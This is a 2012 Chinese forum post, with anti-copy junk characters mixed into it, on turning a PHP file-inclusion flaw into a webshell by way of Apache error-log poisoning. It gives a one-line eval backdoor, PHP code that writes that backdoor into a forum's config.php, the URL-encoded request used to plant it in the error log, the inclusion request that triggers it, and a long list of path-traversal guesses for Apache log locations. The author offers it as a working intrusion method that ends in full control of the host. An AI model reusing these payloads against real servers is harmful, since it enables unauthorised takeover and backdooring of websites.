找回密码
 立即注册
查看: 2498|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
/ h/ Z2 v: c1 V
& d2 B9 \# g& Z' d2 {1 M9 D比如还是这句一句话木马 2 V! O2 }  R) }! \7 \. N
<?eval($_POST[cmd]);?>   
/ a$ n4 g# D8 ]2 d# t
0 l  S+ L' t. M4 |! [* ]到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
$ \9 k4 K8 b& m8 d: J& Hfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 : G2 N% a) M  I) Q% P& v  ?

+ @. ~  C% v, v+ J5 x<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
) D0 e" h) S! o1 }; Ofclose($fp);?>   //在config.php里写入一句木马语句 ! R8 W( N$ W0 Z" T5 A

% i/ f6 a: g% ?9 V) z* `7 t我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 0 g  |& K. T+ W" g
转换为 & y7 _* M% E+ o- K
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 0 S7 e/ [, v% ~$ ?% T
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 0 H7 G5 U- n- s, M* _9 h. E' S( j
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B 6 v4 g0 O. a1 G% ~5 e9 R7 I
fclose%28%24fp%29%3B%3F%3E / g0 Z7 _9 I; M( u1 J: I" S# |
我们提交 ' s& A$ e/ X1 }- a- f/ u) ]
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
( w7 G8 Y. O8 F1 M8 Q3 R9 A%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
) y/ [4 C- M! _3 G0 l9 f) E: D%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B 6 [% M2 R/ m/ `' S: S
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 6 L% m) [+ z( `5 w1 ^
* W0 w! s" g2 m1 c& N& w/ H
这样就错误日志里就记录下了这行写入webshell的代码。 8 n# X1 S, ~6 H+ |7 d# Q
我们再来包含日志,提交
4 V( K- Z& B+ |1 J" q& a! E3 nhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log $ I2 W1 ], U6 J: {6 ^7 Y( y

3 y4 P2 K$ m3 K2 n# S: G6 V这样webshell就写入成功了,config.php里就写入一句木马语句 ) ~$ N8 D+ `6 H2 L  C
OK. . I8 ^" W6 B- S5 F8 O9 ?4 g" B
http://www.xxx.com/forum/config.php这个就成了我们的webshell
  {  Y: g, h4 x- g# o& y5 c直接用lanker的客户端一连,主机就是你的了。 " S$ _- N. g+ O/ J
  ^1 K+ N5 y% j# |5 J/ E  s7 o
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 : O8 j, {+ P2 d  x4 o1 ?
; i& v* @6 v  f5 \6 L
其他的日志路径,你可以去猜,也可以参照这里。
7 q- _; O) m/ g. `( \8 G, X5 B2 m../../../../../../../../../../var/log/httpd/access_log 4 \% \2 f; Y. ~# i- b. j
../../../../../../../../../../var/log/httpd/error_log
- T* J( ^$ p8 D$ s" J7 b../apache/logs/error.log
0 m2 w2 U/ \- Y../apache/logs/access.log
0 S7 ~+ h. n/ P. a( ]../../apache/logs/error.log * w# l: |4 v* R+ h
../../apache/logs/access.log
# L  D4 [' R" _+ p1 p2 _../../../apache/logs/error.log
' K+ a  l+ X  F../../../apache/logs/access.log ' q5 F. F5 a+ ]+ {
../../../../../../../../../../etc/httpd/logs/acces_log & w( b3 i1 P8 Z! i; R
../../../../../../../../../../etc/httpd/logs/acces.log
" \) y! ]2 B1 w* ^( |4 o2 M../../../../../../../../../../etc/httpd/logs/error_log
% H4 U# a" f# N2 O* Y% b+ P../../../../../../../../../../etc/httpd/logs/error.log
/ {. x9 L: U( @+ I) c& S* y, @- Z( }../../../../../../../../../../var/www/logs/access_log ! m* Q6 D% a* I! {9 W5 l9 g; m
../../../../../../../../../../var/www/logs/access.log ' O4 w# X4 j# @5 S( d2 [
../../../../../../../../../../usr/local/apache/logs/access_log
' C: n  q; F+ W7 h: s7 a; C- M../../../../../../../../../../usr/local/apache/logs/access.log
8 [4 M, c/ _4 `6 T+ e0 b../../../../../../../../../../var/log/apache/access_log 3 f' C$ ~1 @3 m' z0 N7 p
../../../../../../../../../../var/log/apache/access.log   M1 E+ K9 y$ q) d2 l/ A9 z
../../../../../../../../../../var/log/access_log ( b( M# L. T9 v" y
../../../../../../../../../../var/www/logs/error_log 1 v) g  n$ T) W3 g, L/ `) q
../../../../../../../../../../var/www/logs/error.log
% g: C7 a& Y7 x* |; p& M5 ]../../../../../../../../../../usr/local/apache/logs/error_log
8 I/ p' H4 T/ y9 a- R* v5 e../../../../../../../../../../usr/local/apache/logs/error.log ) C+ l7 b9 j8 V, ]# u
../../../../../../../../../../var/log/apache/error_log
  u  s6 t: E0 X& `5 M% }! e../../../../../../../../../../var/log/apache/error.log 6 l0 y4 _0 {0 z, {6 k
../../../../../../../../../../var/log/access_log 4 O1 P. T; t- X- L; g
../../../../../../../../../../var/log/error_log
" B! i9 y2 O# I7 ^/var/log/httpd/access_log      
" z7 M6 _1 c; I( i" [4 a/var/log/httpd/error_log     
. [/ i) X* V5 \% e../apache/logs/error.log     ( `3 j5 X- @2 _" A+ s- Y
../apache/logs/access.log $ X; \7 B' A1 S6 a( ^
../../apache/logs/error.log % B- u: F, i4 N7 f8 b1 a
../../apache/logs/access.log 1 W7 k- Y! R- t5 ]
../../../apache/logs/error.log
6 h( g2 q. B, `1 |  s% Q0 Z../../../apache/logs/access.log
; ~3 e% f: L( m' j/etc/httpd/logs/acces_log ; x. j2 K+ a. V  d" p1 ]
/etc/httpd/logs/acces.log
" p2 d& ]4 S/ d/etc/httpd/logs/error_log
0 a( L2 x( ^, |8 x/etc/httpd/logs/error.log
3 V6 z4 o. u6 y1 z) b/var/www/logs/access_log ( Z) m% L* A. v. y& r4 `$ p
/var/www/logs/access.log
' c0 `& C3 O5 J' u/usr/local/apache/logs/access_log
: Z, }% ?' V# S1 n/usr/local/apache/logs/access.log   {/ T! J6 V3 c; y+ n9 W
/var/log/apache/access_log ; @) c: \& r: u, v
/var/log/apache/access.log 8 L+ \: l( Q& I7 {) Q6 W7 {' e
/var/log/access_log
+ A2 Q! g. l+ J+ k. x2 _: ?' _/var/www/logs/error_log
$ |# I: ^% j, c$ H/var/www/logs/error.log
1 X3 k* s& x- T% o. }2 P8 r/ {% M/usr/local/apache/logs/error_log 5 f: e  {0 o' ?+ ^8 i
/usr/local/apache/logs/error.log
3 m! L  m5 {( l- V0 X/var/log/apache/error_log
6 W4 e  T" Q( f& S$ z0 W6 e/var/log/apache/error.log + c: Y% \7 E% O  T) w/ I" ~$ n9 b
/var/log/access_log
9 Q8 d! O( g8 \- l" z$ x) q/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表